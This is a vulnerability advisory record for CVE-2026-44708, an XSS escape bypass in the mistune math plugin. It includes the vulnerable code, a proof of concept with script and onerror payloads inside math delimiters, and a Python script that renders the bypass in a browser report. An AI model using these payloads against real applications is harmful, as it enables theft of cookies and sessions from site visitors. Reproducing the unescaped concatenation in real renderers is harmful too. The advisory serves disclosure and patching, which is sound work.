{"id":"CVE-2026-44708","aliases":["GHSA-8g87-j6q8-g93x","PYSEC-2026-2206"],"title":"Mistune Math Plugin has an XSS Escape Bypass","summary":"Mistune Math Plugin has an XSS Escape Bypass","severity":"medium","cvss":6.1,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","vendor":"mistune","product":"mistune","ecosystem":"pip","affected":["mistune <= 3.2.0"],"published":"2026-05-08","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:51:04.993819302Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-8g87-j6q8-g93x","references":[{"url":"https://github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44708"},{"url":"https://github.com/lepture/mistune"},{"url":"https://github.com/lepture/mistune/releases/tag/v3.2.1"}],"tags":["osv","pip"],"epss":0.00228,"epssPercentile":0.13847,"ingestedAt":"2026-07-13T18:57:55.091Z","slug":"CVE-2026-44708","body":"## Overview\n\n## Summary\nThe mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.\n\nThe result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's `_escape` flag entirely.\n\n## Details\n**File:** `src/mistune/plugins/math.py`\n\n```python\ndef render_inline_math(renderer, text):\n    # `text` is raw user input — no escape() call anywhere\n    return r'<span class=\"math\">\\(' + text + r\"\\)</span>\"\n\ndef render_block_math(renderer, text):\n    # same issue for block-level $$...$$\n    return '<div class=\"math\">$$\\n' + text + \"\\n$$</div>\\n\"\n```\n\nBoth functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:\n- calls `escape(text)` from `mistune.util`\n- checks `renderer._escape`\n- calls `safe_entity(text)` or any other sanitisation helper\n\nThe `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.\n\n## PoC\n**Step 1 — Establish the baseline (escape=True works for plain HTML)**\n\nThe script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `<script>` tag that is *not* inside math delimiters:\n\n```python\nmd = create_markdown(escape=True, plugins=[\"math\"])\nbl_src = \"<script>alert(document.cookie)</script>\\n\"\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output — the script tag is correctly escaped:\n```html\n<p>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</p>\n```\n\nThis confirms `escape=True` is working for the normal render path.\n\n**Step 2 — Craft the exploit payload**\n\nWrap the identical `<script>` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`:\n\n```python\nex_src = \"$<script>alert(document.cookie)</script>$\\n\"\nex_out = str(md(ex_src))\n```\n\n**Step 3 — Observe the bypass**\n\nActual output — the script tag is emitted raw, unescaped:\n```html\n<p><span class=\"math\">\\(<script>alert(document.cookie)</script>\\)</span></p>\n```\n\nThe `<script>` block is live inside the `<span class=\"math\">` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`.\n\n**Step 4 — Block math variant (`$$...$$`)**\n\nThe same bypass applies to block-level math. Payload:\n```\n$$\n<img src=x onerror=\"alert(document.cookie)\">\n$$\n```\n\nOutput:\n```html\n<div class=\"math\">$$\n<img src=x onerror=\"alert(document.cookie)\">\n$$</div>\n```\n\nThe `onerror` handler fires as soon as the browser tries to load the non-existent image `x`.\n\n### Script\n\nA verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H1: Math plugin bypasses escape=True — HTML inside $...$ passes through raw.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\n\nmd = create_markdown(escape=True, plugins=[\"math\"])\n\n# --- baseline ---\nbl_file = \"baseline_h1.md\"\nbl_src  = \"<script>alert(document.cookie)</script>\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output — escape=True works normally here]\")\nprint(bl_out)\n\n# --- exploit ---\nex_file = \"exploit_h1.md\"\nex_src  = \"$<script>alert(document.cookie)</script>$\\n\"\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output — escape=True bypassed inside math delimiters]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n<div class=\"case {kind}\">\n  <div class=\"case-header\">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div>\n  <div class=\"panels\">\n    <div class=\"panel\">\n      <h3>Input — {h.escape(filename)}</h3>\n      <pre>{h.escape(src)}</pre>\n    </div>\n    <div class=\"panel\">\n      <h3>Output — HTML source</h3>\n      <pre>{h.escape(out)}</pre>\n      <div class=\"rlabel\">↓ rendered in browser</div>\n      <div class=\"rendered\">{out}</div>\n    </div>\n  </div>\n</div>\"\"\"\n\npage = f\"\"\"<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\">\n<title>H1 — Math XSS</title><style>{CSS}</style></head><body>\n<h1>H1 — Math Plugin XSS (escape=True bypass)</h1>\n<p class=\"desc\">render_inline_math() in plugins/math.py concatenates user content without escape().\nThe escape=True renderer flag is completely ignored inside $...$ delimiters.</p>\n{case(\"baseline\", \"Same HTML outside $...$  — escape=True works\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Same HTML inside $...$   — escape=True bypassed\", ex_file, ex_src, ex_out)}\n</body></html>\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h1.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h1.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim's browser session |\n| **Integrity**    | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions |\n| **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) |\n\n**Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.\n\n## Affected packages\n\n- `mistune <= 3.2.0`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"sunlit","depthScore":34,"depthScoreParts":{"impact":33.6,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}